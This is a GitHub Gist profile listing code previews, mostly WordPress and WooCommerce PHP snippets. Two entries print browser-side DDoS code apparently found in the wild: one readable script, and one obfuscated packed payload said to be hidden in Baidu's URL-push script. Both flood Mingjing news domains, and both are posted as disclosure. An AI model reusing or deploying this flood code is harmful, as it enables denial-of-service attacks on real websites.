Skip to content

Instantly share code, notes, and snippets.

View nczz's full-sized avatar
🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。

一介資男 nczz

🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。
View GitHub Profile
@nczz
nczz / wp_insert_adcode_to_post.php
Last active October 1, 2017 18:21
WordPress 在文章中自動安插廣告碼
<?php
//functions.php
function mxp_insert_adcode_in_post($content) {
global $wp_current_filter;
$support_post_types = array("post");
if (!in_array(get_post_type(get_the_ID()),$support_post_types) || is_page() || is_feed() || is_archive() || is_home() || in_array('get_the_excerpt', (array) $wp_current_filter) || 'the_excerpt' == current_filter()) {
return $content;
}
$adcode_for_post_center01 = '<p><div id="mxp_ad_post_center01" style="text-align: center;">廣告碼01</div></p>';
@nczz
nczz / woocommerce-custom-products-dropdown-list.php
Created July 28, 2017 08:40
WooCommerce 建立商品下拉選單
<?php
$args = array('post_type' => 'product', 'posts_per_page' => -1, 'product_cat' => '分類名稱', 'orderby' => 'ASC');
$loop = new WP_Query($args);
$dropdownlist = '<select id="cate_name">';
while ($loop->have_posts()) {
$loop->the_post();
$_product = wc_get_product($loop->post->ID);
$dropdownlist .= '<option value="' . $loop->post->ID . '" data-price="' . $_product->get_price() . '">' . $loop->post->post_title . '</option>';
}
$dropdownlist .= '</select>';
@nczz
nczz / woocommerce-custom-order-and-checkout-flow.php
Last active July 28, 2017 09:44
WooCommerce 建立客製化訂單與結帳流程
<?php
//準備好或接收要記錄的欄位資訊
$address = array(
'first_name' => '某',
'last_name' => '某某',
'company' => '一介資男',
'email' => '[email protected]',
'phone' => '0912123123',
'address_1' => '106台北市大安區',
'address_2' => '巴拉路巴拉號',
@nczz
nczz / mingjingtimes-ddos-code.js
Created August 16, 2017 04:01
明鏡時報惡意大量請求攻擊程式碼
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
@nczz
nczz / ddos-from-baidu.js
Created August 16, 2017 06:34
百度在主動推送網址的方法中藏有惡意原碼
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b((/X\\/([\\d]+)/Z.19(i.K.M.H())[1]>=1b)&&(i.K.M.H().1a("16")<0)){3 D=T;3 p=[\'n://13.q.m/\',\'n://15.q.m/\',\'n://14.q.m/\',\'n://11.12.m/\'];3 E=17;3 k=18;3 O=10;3 s=1;h w(){3 8=e 7();A 7.S(8.Y(),8.W(),8.U(),8.V(),8.I(),8.J())/R}g.z("B")[0].F="<1r 1s=\\"y\\" 1q=\\"1o-y\\">"+g.z("B")[0].F;3 9=[];3 f=[];3 x=5;3 c=[];3 a=[];3 r=\'\';3 l=0;h o(2){3 6=9[2];b(6!=5){g.G.1p(6)}9[2]=5;b(l<E&&a[2]-x<D){Q(\'u(\'+2+\')\',(a[2]-c[2])>k?k:(a[2]-c[2]))}}h L(2){b(9[2]==5){A}b(9[2].1x){i.C(f[2]);a[2]=e 7().j();o(2)}1v{b(e 7().j()-c[2]>k){i.C(f[2]);o(2)}}}h u(2){6=g.G.1t(g.1w(\'1u\'));r=p[w()%p.1n];6.1f=r+\'?t=\'+w()+P.1e(P.1c()*1d);6.1h.1l=\'1m\';9[2]=6;c[2]=a[2]=e 7().j();f[2]=1k("L("+2+")",1i);l=l+1}
@nczz
nczz / mxp_wp_get_posts_shortcode.php
Created August 20, 2017 11:37
[WordPress] 使用短碼(shortcode)在網站中區塊顯示文章
<?php
function get_news_posts_shortcode($atts) {
extract(shortcode_atts(array(
'post_type' => 'news',
'posts_per_page' => -1,
'order' => 'DESC',
'orderby' => 'date',
'category_name' => '',
), $atts));
$args = array(
@nczz
nczz / checkliveornot.sh
Created September 1, 2017 03:03
伺服器自我檢查網站健康度
#!/bin/bash
now="$(date +"%c")"
statuscode=`wget --spider -S "https://www.mxp.tw" 2>&1 | grep "HTTP/" | awk '{print $2}'`
if [ "$statuscode" != "200" ]
then
sudo /path/to/server restart
echo "restart in $now">>/home/username/crush_log.txt;
fi
@nczz
nczz / mxp_fb2wp_comment_callback.php
Created September 13, 2017 14:02
WordPress FB2WP外掛:自動回覆粉絲頁留言事件範例
<?php
function mxp_fb_comment_callback($item) {
$parent_id = isset($item['parent_id']) ? $item['parent_id'] : "";
$comment_id = isset($item['comment_id']) ? $item['comment_id'] : "";
$message = isset($item['message']) ? $item['message'] : "";
$post_id = isset($item['post_id']) ? $item['post_id'] : "";
$sender_name = isset($item['sender_name']) ? $item['sender_name'] : "";
$verb = isset($item['verb']) ? $item['verb'] : ""; //must be "add"
if ($parent_id != $post_id || $verb != "add" || $message == "" || $comment_id == "") {
//不是第一則留言 或 不是新增留言 或 留言不是文字 就不回覆了!
@nczz
nczz / google-driver-file-downloader.php
Last active October 10, 2017 04:20
Google 雲端硬碟檔案下載,CURL 跟隨301, 302轉址找到最後下載(網站)連結範例
<?php
//Ref: http://php.net/manual/en/ref.curl.php#93163
function get_final_url($url, $cookie = "", $timeout = 5) {
$url = str_replace("&amp;", "&", urldecode(trim($url)));
//保留餅乾資訊
if ($cookie == "") {
$cookie = tempnam(sys_get_temp_dir(), "mxp_");
}
//假一下瀏覽器請求
@nczz
nczz / custom-receiver-wordpress-comment.php
Created November 24, 2017 07:12
[WordPress] 客製化留言迴響信件通知其他收件人
<?php
//functions.php
function mxp_comment_moderation_recipients($emails, $comment_id) {
// 以此類推新增收件人
$emails = array('[email protected]', '[email protected]', '[email protected]');
return $emails;
}
add_filter('comment_moderation_recipients', 'mxp_comment_moderation_recipients', 11, 2);
add_filter('comment_notification_recipients', 'mxp_comment_moderation_recipients', 11, 2);